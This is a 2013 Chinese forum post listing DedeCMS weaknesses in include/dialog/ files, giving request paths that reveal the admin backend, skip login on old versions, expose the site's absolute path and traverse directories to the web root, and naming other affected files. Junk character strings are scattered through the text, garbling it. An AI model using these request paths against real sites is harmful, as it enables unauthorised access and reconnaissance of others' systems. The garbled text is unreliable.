1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理/ W2 X' t( z8 e$ y7 D+ ^
9 A4 @- k- f ?
员帐号,新版本的就直接转向了后台.- f7 P7 i1 R% @4 e
: N+ A% D2 c1 j, k
2.include/dialog/config.php会爆出后台管理路径
' J! Y4 b# H y" H& ?+ g5 v! e: k8 ]
3.include/dialog/select_soft.php?activepath=/include/FCKeditor 跳转目录
; Y$ E8 c( }. u+ |7 x- C8 U- j0 t8 g5 S P5 \( t! d" G
4.include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p 爆出网站绝对路径.5 g- f1 A' [( u7 w$ P
( M' N/ g) F( _" ?+ W6 X5.另外一些低版本的DEDECMS访问这个页面的时候会直接跳过登陆验证,直接显示,而且还可以用/././././././././掉7 {/ } C) o2 B; p
. o6 u R8 o: w, g3 k* R8 J
到根目录去.不过这些版本的访问地址有些不同.0 l% v" ~- C; o* B& Q+ e3 \3 S
地址为require/dialog/select_soft.php?activepath=/././././././././
( Z! T3 E/ {! U/ d: V6 b2 {1 R2 r7 i. F( l
include\dialog\目录下的另外几个文件都存在同一个问题,只是默认设的目录不同.有些可以查看HTML这些文件哦.." ]; ]( W. T+ ^, Z# F0 ^
存在相同问题的文件还有: F! D" w; U) x. J( s
include\dialog\select_images.php3 e5 ~2 R4 Q4 {( U
include\dialog\select_media.php
5 }3 r) t; t2 I3 C) R2 kinclude\dialog\select_templets.php
# ]) {- a( [0 n% b2 M |
发表于 2013-4-16 16:50:43
收藏
支持
反对